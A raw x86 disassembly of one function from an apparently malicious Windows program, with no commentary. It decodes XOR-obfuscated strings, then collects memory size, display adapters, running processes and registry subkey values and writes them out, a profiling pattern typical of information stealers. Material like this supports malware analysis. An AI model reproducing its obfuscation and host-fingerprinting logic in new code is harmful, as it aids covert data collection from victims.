mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push dword [ebp - 0x7f4]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x3d0], xmm1
call fcn.00403350
add esp, 0xc
mov dword [ebp - 0x918], 0x40
lea eax, [ebp - 0x918]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x4e36d6
mov dword [ebp - 0x20], 0xe5d6a2c7
mov dword [ebp - 0x1c], 0xd935dffb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x20], 0x77b6d0ab
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x910]
xorps xmm1, xmmword [ebp - 0x40]
shrd ecx, eax, 0x14
movaps xmmword [ebp - 0x3e0], xmm1
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x3e0]
push eax
push edi
call fcn.00403350
add esp, 0x10
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov byte [ebp - 4], 0x21
xor esi, esi
push 0x1a3
lea eax, [ebp - 0xc0b]
mov dword [ebp - 0xac], esi
push esi
push eax
mov dword [ebp - 0xc10], 0x1a8
mov byte [ebp - 0xc0c], 0
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0xc10]
push 1
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x4e3b22
nop
mov ecx, dword [ebp - 0xe8]
mov eax, ecx
mov edi, dword [ebp - 0xec]
sub eax, edi
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0xc4], 0
test eax, eax
je 0x4e389a
xor esi, esi
mov dword [ebp - 0xcc], esi
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
lea ecx, [ebp - 0xbec]
mov dword [ebp - 0x284], 0
movups xmmword [ebp - 0x298], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e37a0
sub ecx, edx
lea eax, [ebp - 0xbec]
push ecx
push eax
lea ecx, [ebp - 0x298]
call fcn.00403040
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x298]
mov ecx, dword [ebp - 0xec]
mov edi, dword [ebp - 0x284]
add ecx, esi
mov esi, dword [ebp - 0x298]
cmp edi, 0xf
cmova eax, esi
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x4e37eb
mov ecx, dword [ecx]
push dword [ebp - 0x288]
push eax
call fcn.00426f30
add esp, 8
mov byte [ebp - 0x41], al
mov byte [ebp - 4], 0x21
cmp edi, 0xf
jbe 0x4e3834
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4e3827
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4e4714
push ecx
push esi
call fcn.004338f3
mov al, byte [ebp - 0x41]
add esp, 8
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], 0
test al, al
jne 0x4e3ace
mov ecx, dword [ebp - 0xe8]
mov eax, ecx
mov edi, dword [ebp - 0xec]
sub eax, edi
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xcc]
inc edx
sar eax, 3
add esi, 0x18
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xcc], esi
cmp edx, eax
jb 0x4e3773
mov esi, dword [ebp - 0xac]
mov dword [ebp - 0x20], 0xbaff8ac3
sub ecx, edi
mov dword [ebp - 0x1c], 0x8b21b9b4
mov eax, dword [ebp - 0x20]
sar ecx, 3
imul edx, ecx, 0xaaaaaaab
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x98], 0x5898b282
mov dword [ebp - 0x94], 0x31f87c9a
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0xa0], 0xd94564d4
mov dword [ebp - 0x9c], 0xc0cfc619
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0xb8], 0xdf9be395
mov dword [ebp - 0xb4], 0xf940fadb
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 0xa8], 0x7dbb92e6
mov dword [ebp - 0xa4], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xc0], 0xd94f69a7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xbc], 0xc0cfc619
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], 0xae7946e8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x24], 0x89c15b7c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x550]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xbec]
push eax
movaps xmmword [ebp - 0x550], xmm1
lea eax, [ebp - 0x550]
movaps xmm1, xmmword [ebp - 0x540]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x540], xmm1
call fcn.00403350
xorps xmm0, xmm0
mov dword [ebp - 0x270], 0
lea ecx, [ebp - 0xbec]
mov dword [ebp - 0x26c], 0
add esp, 0x10
lea edx, [ecx + 1]
movups xmmword [ebp - 0x280], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e3a32
sub ecx, edx
lea eax, [ebp - 0xbec]
push ecx
push eax
lea ecx, [ebp - 0x280]
call fcn.00403040
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xe4]
je 0x4e3aaa
movups xmm0, xmmword [ebp - 0x280]
mov byte [ebp - 0x280], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x270]
movq qword [eax + 0x10], xmm0
add dword [ebp - 0xe8], 0x18
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0xf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x280]
call fcn.00402df0
jmp 0x4e3ada
lea ecx, [ebp - 0x280]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.004242a0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x280]
call fcn.00402df0
jmp 0x4e3ada
mov edi, dword [ebp - 0xf4]
mov esi, dword [ebp - 0xac]
push 0x1a3
lea eax, [ebp - 0xc0b]
mov dword [ebp - 0xc10], 0x1a8
push 0
inc esi
mov byte [ebp - 0xc0c], 0
push eax
mov dword [ebp - 0xac], esi
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0xc10]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x4e3740
mov dword [ebp - 0x28], 0x8fc0e998
mov dword [ebp - 0x24], 0x9c2395a9
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x28], 0xedee195
mov dword [ebp - 0x24], 0x14d24ba3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x490]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x490], xmm1
mov dword [ebp - 0x28], 0xdf9b90b0
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x490]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x400]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x400]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x400], xmm1
call fcn.00403350
add esp, 0xc
mov dword [ebp - 0xde8], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x4e3d68
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e3d61
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x4e3d61
nop
mov dword [ebp - 0x28], 0x84bb90b0
mov dword [ebp - 0x24], 0xf41d9efe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x20], 0x7dbb92ec
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x98], 0xdf9be395
mov dword [ebp - 0x94], 0xf940fadb
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xa0], 0x7dbb92e6
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x9c], 0x14d846fe
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
push dword [ebp - 0xde0]
movaps xmm1, xmmword [ebp - 0x410]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xdc4]
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x410], xmm1
call fcn.00403350
add esp, 0x10
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e3c90
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x28], 0x8cc0e998
mov dword [ebp - 0x24], 0x8e349cb4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x28], 0x20dee087
mov dword [ebp - 0x24], 0x14d84cf3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x420]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x420], xmm1
mov dword [ebp - 0x28], 0xdf9b90b0
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x420]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x430]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x430], xmm1
call fcn.00403350
mov dword [ebp - 0x28], 0x8bddacc6
add esp, 0xc
mov dword [ebp - 0x24], 0xbc12bb8c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x28], 0x1ed2dfba
mov dword [ebp - 0x24], 0x7bab298c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x28], 0x8e131dc1
mov dword [ebp - 0x24], 0xafaba870
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x28], 0xed25359f
mov dword [ebp - 0x24], 0xecb32909
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x28], 0x807b6387
mov dword [ebp - 0x24], 0x11c4a1c5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x28], 0xbb8c66e4
mov dword [ebp - 0x24], 0x6d611593
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x28], 0x2e0e355a
mov dword [ebp - 0x24], 0x7442b965
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x67c], ecx
mov dword [ebp - 0x28], 0x227dac2c
mov dword [ebp - 0x24], 0x53bfeed8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x8c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xd94f69a7
mov dword [ebp - 0x24], 0xc0cfc619
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x84], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xae7946e8
mov dword [ebp - 0x24], 0x89c15b7c
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xe52d17e9
mov dword [ebp - 0x24], 0x7eadd2b7
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xd5d93a8a
mov dword [ebp - 0x24], 0x19127bfa
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x2e62593b
mov dword [ebp - 0x24], 0x7442b965
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x227dac2c
mov dword [ebp - 0x24], 0x53bfeed8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6b0]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x6b0], xmm1
movaps xmm1, xmmword [ebp - 0x6a0]
xorps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
movaps xmmword [ebp - 0x6a0], xmm1
lea eax, [ebp - 0x14c]
movaps xmm1, xmmword [ebp - 0x690]
xorps xmm1, xmmword [ebp - 0x70]
push eax
push 0x20019
movaps xmmword [ebp - 0x690], xmm1
lea eax, [ebp - 0x6b0]
movaps xmm1, xmmword [ebp - 0x680]
xorps xmm1, xmmword [ebp - 0x60]
push 0
push eax
push closesocket
movaps xmmword [ebp - 0x680], xmm1
mov dword [ebp - 0x14c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e4506
xor esi, esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x400
push eax
lea eax, [ebp - 0x2700]
push eax
push esi
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0xcc], eax
test eax, eax
jne 0x4e44f1
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x28], 0xfac790b0
mov dword [ebp - 0x24], 0xf940faa8
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x440], ecx
mov dword [ebp - 0x43c], edx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x98], 0xdf9be395
mov dword [ebp - 0x94], 0xf940fadb
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0xa0], 0x7dbb92e6
mov dword [ebp - 0x9c], 0x14d846fe
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x748], eax
lea eax, [ebp - 0x2700]
push eax
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x74c], ecx
mov ecx, dword [ebp - 0x9c]
movaps xmm1, xmmword [ebp - 0x440]
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x744], ecx
xorps xmm1, xmmword [ebp - 0x750]
push eax
lea eax, [ebp - 0x2b00]
movaps xmmword [ebp - 0x440], xmm1
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0xe0]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2b00]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e44eb
mov dword [ebp - 0x160], 0xf003f
mov dword [ebp - 0xdc], 0x400
mov dword [ebp - 0x18], 0xafe88ad1
mov dword [ebp - 0x14], 0xb7399bb7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0xb8], 0x7ddeff87
mov dword [ebp - 0xb4], 0x14d846fe
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0xa8], 0xdf9be395
mov dword [ebp - 0xa4], 0xf940fadb
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0xc0], 0x7dbb92e6
mov dword [ebp - 0xbc], 0x14d846fe
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x758], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x3300]
mov dword [ebp - 0x75c], ecx
mov ecx, dword [ebp - 0xbc]
movaps xmm1, xmmword [ebp - 0x450]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x754], ecx
xorps xmm1, xmmword [ebp - 0x760]
push eax
push 0
lea eax, [ebp - 0x450]
movaps xmmword [ebp - 0x450], xmm1
push eax
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e44df
mov dword [ebp - 0xc8], 0xafe88ad1
mov dword [ebp - 0xc4], 0xaf399bb7
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0xb0], 0x14c8e083
mov dword [ebp - 0xac], 0x14d82891
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0xf8], 0xdf9be395
mov dword [ebp - 0xf4], 0xf940fadb
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x208], 0x7dbb92e6
mov dword [ebp - 0x204], 0x14d846fe
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x768], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x76c], ecx
mov ecx, dword [ebp - 0x204]
movaps xmm1, xmmword [ebp - 0x460]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x764], ecx
xorps xmm1, xmmword [ebp - 0x770]
push eax
push 0
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
push eax
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e44df
mov dword [ebp - 0x210], 0x84bb90b0
mov dword [ebp - 0x20c], 0xf41d89fe
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x218], 0x7dbb92ec
mov dword [ebp - 0x214], 0x14d846fe
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x1e8], 0xdf9be395
mov dword [ebp - 0x1e4], 0xf940fadb
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x38], 0x7dbb92e6
mov dword [ebp - 0x34], 0x14d846fe
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x2f00]
push eax
lea eax, [ebp - 0x3300]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x34]
movaps xmm1, xmmword [ebp - 0x470]
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x470], xmm1
call fcn.00403350
add esp, 0x10
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xcc]
inc esi
test eax, eax
je 0x4e40e6
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0043d0a8
add esp, 4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
call fcn.004185d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1e0]
call fcn.00402df0
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0xd8]
push dword [eax + 4]
lea eax, [ebp - 0xd8]
push eax
mov ecx, eax
call fcn.00423d10
push 0x2c
push dword [ebp - 0xd8]
call fcn.004338f3
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x788]
call fcn.00402df0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f8]
call fcn.00402df0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x510]
call fcn.00402df0
sub esp, 0x18
mov byte [ebp - 0x41], 1
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x728]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x154], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.004e7640
add esp, 0x18
mov byte [ebp - 4], 0x26
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7a0]
mov dl, byte [ebp - 0x41]
call fcn.004e55a0
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x38], 0xdf9b81e2
mov dword [ebp - 0x34], 0xf940fadb
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x38], 0x7dbb92e6
mov dword [ebp - 0x34], 0x14d846fe
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x38], 0xdf9be395
mov dword [ebp - 0x34], 0xf940fadb
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x38], 0x7dbb92e6
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x34], 0x14d846fe
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
cmp dword [ebp - 0x714], 0xf
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x728]
cmova eax, dword [ebp - 0x728]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x480]
xorps xmm1, xmmword [ebp - 0x60]
push ecx
push eax
movaps xmmword [ebp - 0x480], xmm1
call fcn.00439820
mov esi, eax
add esp, 0x20
test esi, esi
je 0x4e46b0
cmp dword [ebp - 0x78c], 0xf
lea ecx, [ebp - 0x7a0]
push esi
push dword [ebp - 0x790]
cmova ecx, dword [ebp - 0x7a0]
push 1
push ecx
call fcn.00441628
push esi
call fcn.0043d0a8
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7a0]
call fcn.00402df0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x728]
call fcn.00402df0
mov byte [ebp - 4], 2
lea ecx, [ebx + 8]
call fcn.00402df0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x20]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebx + 0x38]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x50]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c70
call fcn.00407260
int3